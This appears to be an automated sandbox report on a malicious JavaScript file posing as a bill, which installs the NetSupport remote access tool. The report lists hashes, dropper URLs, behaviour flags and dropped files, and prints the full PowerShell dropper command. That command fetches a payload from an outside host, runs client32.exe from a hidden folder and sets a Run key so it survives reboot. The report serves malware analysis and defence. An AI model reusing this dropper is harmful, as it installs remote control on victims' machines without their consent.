Analysis

  • max time kernel
    143s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-01-2024 13:24

General

  • Target

    BILL47189.js

  • Size

    7KB

  • MD5

    9082a9dbb169613415eb7b7f57c266a1

  • SHA1

    fb0597194bd59ebfd4d085380dcf4846365fdf77

  • SHA256

    a95fe0e3b0cb3c0a172eef317d1b213f8572156dc44026f470add87e563bb3d1

  • SHA512

    994b1fed259b1d567100fa8019973ae8f1b1748923498d921a5ac213f30e27270a6464943bc374794cb84ccd23169863d746351e5b026a83c6aeb041e3bac6b8

  • SSDEEP

    192:IlwJpl821uyfWwWKDbqSXGIJgE9GeBCVe0W1uyfWwWKDbqSq:IsjBfFDbqSXGIvGAB0eBfFDbqSq

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://boxtechcompany.com/1/GetData.php?6863

exe.dropper

https://boxtechcompany.com/1/GetData.php?6863

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\BILL47189.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $SWaycMboEQXpxPyfWKVLxMrPoNHJOnHvd='https://boxtechcompany.com/1/GetData.php?6863';$VPcWwqihLcCbGlZDjoFXWw=(New-Object System.Net.WebClient).DownloadString($SWaycMboEQXpxPyfWKVLxMrPoNHJOnHvd);$gFXgjqqpMoWfHwlanxOgDlOQoZLLaVxLLSn=[System.Convert]::FromBase64String($VPcWwqihLcCbGlZDjoFXWw);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $QjcDGlwWcedZzfd=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $QjcDGlwWcedZzfd -PathType Container)) { New-Item -Path $QjcDGlwWcedZzfd -ItemType Directory };$p=Join-Path $QjcDGlwWcedZzfd 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$gFXgjqqpMoWfHwlanxOgDlOQoZLLaVxLLSn);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$QjcDGlwWcedZzfd)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $QjcDGlwWcedZzfd 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $QjcDGlwWcedZzfd -Force; $FSDFSSD.attributes='Hidden';$s=$QjcDGlwWcedZzfd+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe
        "C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2116

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tigdqe51.b0e.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\DIVX534\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\Roaming\DIVX534\MSVCR100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Roaming\DIVX534\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\DIVX534\PCICL32.DLL

    Filesize

    1.7MB

    MD5

    9993d0c1473247f34120b0249807c9e3

    SHA1

    bb1a41c4aaae0150530d8064ef3d2fbc3a9b3efc

    SHA256

    0bb7ccc6286b5c3964a2d6e742ab95fe89357173d8c676ebad8bd94dd1c0be63

    SHA512

    2f957861c86886fb9760722464355a424de6c670fb552bda9a53222e5d904651cdd120d7d5404afaa1a536acfbf99640923a3e5fb42b445058a9cad0dcae2c8b

  • C:\Users\Admin\AppData\Roaming\DIVX534\PCICL32.dll

    Filesize

    1.4MB

    MD5

    fc2c02e490cdd682b29fbecbcfc73370

    SHA1

    acb3c5f4d19e0d6440e77bfa78652ed7752e4cf2

    SHA256

    f8f2d9cde384bf26f55b2d92988131a4bf2c3f17a8dfc0e248cc0b7bcac744b8

    SHA512

    103f2650b0c6fa6ca7dd07f5a2bdd02077074d84c5f6432d99cc141f193a626698c54bf0a36b95d2983f68033b8d58cfda2f8396550fb68d90c9a47b6c45b4f0

  • C:\Users\Admin\AppData\Roaming\DIVX534\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\Roaming\DIVX534\client32.ini

    Filesize

    701B

    MD5

    5d5a682d300dd44ec669829d77790b31

    SHA1

    9a124709f1a17f18b61179bfed6797df13e387a2

    SHA256

    22f3be353ce99ddc16179f0280936fd2626b949efc3dacf0d23c085a98503ec8

    SHA512

    beff890c9e59d2033a15eda015db137da44ca77a7361f8b1a1ea76a6138806c898f9eac8a7a794ca0dc32e1f3c5e5bd8058a52164652d015df02305786f407e7

  • C:\Users\Admin\AppData\Roaming\DIVX534\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • C:\Users\Admin\AppData\Roaming\DIVX534\pcichek.dll

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • memory/4300-14-0x0000024732600000-0x000002473260A000-memory.dmp

    Filesize

    40KB

  • memory/4300-0-0x00000247181D0000-0x00000247181F2000-memory.dmp

    Filesize

    136KB

  • memory/4300-75-0x00007FFADD2E0000-0x00007FFADDDA1000-memory.dmp

    Filesize

    10.8MB

  • memory/4300-15-0x0000024732840000-0x0000024732852000-memory.dmp

    Filesize

    72KB

  • memory/4300-12-0x0000024717FF0000-0x0000024718000000-memory.dmp

    Filesize

    64KB

  • memory/4300-11-0x0000024717FF0000-0x0000024718000000-memory.dmp

    Filesize

    64KB

  • memory/4300-10-0x00007FFADD2E0000-0x00007FFADDDA1000-memory.dmp

    Filesize

    10.8MB